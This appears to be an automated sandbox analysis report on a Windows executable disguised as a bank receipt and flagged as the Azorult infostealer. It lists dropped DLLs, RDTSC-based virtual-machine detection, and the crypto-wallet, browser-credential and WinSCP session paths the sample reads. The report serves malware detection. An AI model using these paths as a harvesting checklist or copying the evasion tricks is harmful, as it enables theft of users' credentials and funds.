Source: Yara match	File source: 00000000.00000002.2846544172.0000000003411000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2845765889.0000000000731000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dekont#400577_89008_96634.exe PID: 1492, type: MEMORYSTR

Source: api-ms-win-core-file-l2-1-0.dll.12.dr

Static PE information: 0x7CDFEF34 [Thu May 22 06:29:08 2036 UTC]

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Code function: 0_2_6FDC1B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6FDC1B5F

Source: System.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x82fd
Source: Dekont#400577_89008_96634.exe	Static PE information: real checksum: 0x0 should be: 0xafef4
Source: api-ms-win-crt-environment-l1-1-0.dll.12.dr	Static PE information: real checksum: 0x10447 should be: 0x13239

Source: msvcp140.dll.12.dr

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00097220 push cs; ret	12_3_00097221
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00097220 push cs; ret	12_3_00097221
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00097220 push cs; ret	12_3_00097221
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00097220 push cs; ret	12_3_00097221
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00097220 push cs; ret	12_3_00097221
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00094E40 push cs; ret	12_3_00094E45
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00094E40 push cs; ret	12_3_00094E45
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00094E40 push cs; ret	12_3_00094E45
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00094E40 push cs; ret	12_3_00094E45
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00094E40 push cs; ret	12_3_00094E45
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00094C7A push cs; ret	12_3_00094C7D
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00094C7A push cs; ret	12_3_00094C7D
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00094C7A push cs; ret	12_3_00094C7D
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00094C7A push cs; ret	12_3_00094C7D
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 12_3_00094C7A push cs; ret	12_3_00094C7D

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	API/Special instruction interceptor: Address: 34A0837
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	API/Special instruction interceptor: Address: 2240837

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	RDTSC instruction interceptor: First address: 343E55E second address: 343E55E instructions: 0x00000000 rdtsc 0x00000002 cmp bx, dx 0x00000005 cmp ebx, ecx 0x00000007 jc 00007F0784E84F76h 0x00000009 cmp ah, dh 0x0000000b cmp dh, ah 0x0000000d inc ebp 0x0000000e jmp 00007F0784E85038h 0x00000010 inc ebx 0x00000011 cmp bx, 9090h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	RDTSC instruction interceptor: First address: 21DE55E second address: 21DE55E instructions: 0x00000000 rdtsc 0x00000002 cmp bx, dx 0x00000005 cmp ebx, ecx 0x00000007 jc 00007F07850C7026h 0x00000009 cmp ah, dh 0x0000000b cmp dh, ah 0x0000000d inc ebp 0x0000000e jmp 00007F07850C70E8h 0x00000010 inc ebx 0x00000011 cmp bx, 9090h 0x00000016 rdtsc

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 0_2_0040676F FindFirstFileW,FindClose,	0_2_0040676F
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 0_2_00402902 FindFirstFileW,	0_2_00402902
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Code function: 0_2_00405B23 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405B23

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007742000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWws\system32\en\mswsock.dll.muiAF
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.000000000775E000.00000004.00000020.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007708000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	API call chain: ExitProcess graph end node			graph_0-4303
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	API call chain: ExitProcess graph end node			graph_0-4455

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Code function: 0_2_00401C43 LdrInitializeThunk,SendMessageTimeoutW,SendMessageW,FindWindowExW,

0_2_00401C43

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Code function: 0_2_6FDC1B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6FDC1B5F

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Process created: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe "C:\Users\user\Desktop\Dekont#400577_89008_96634.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

0_2_004034C5

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Azorult

Source: Yara match	File source: 0000000C.00000003.3291168363.0000000037FC4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3290459679.0000000037FB8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3291684607.0000000037FA4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3291660703.0000000037F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dekont#400577_89008_96634.exe PID: 5308, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\electrum.dat
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.00000000077B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 6%appdata%\Electrum\wallets\
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.00000000077B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Jaxx\Local Storage\*
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: RC:\Users\user\AppData\Roaming\Exodus\\key
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.00000000077B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Jaxx\Local Storage\*
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.00000000077B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 8%APPDATA%\Ethereum\keystore\
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SteamExodus
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.00000000077B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 8%APPDATA%\Ethereum\keystore\
Source: Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.00000000077B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 8%APPDATA%\Ethereum\keystore\
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core			Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

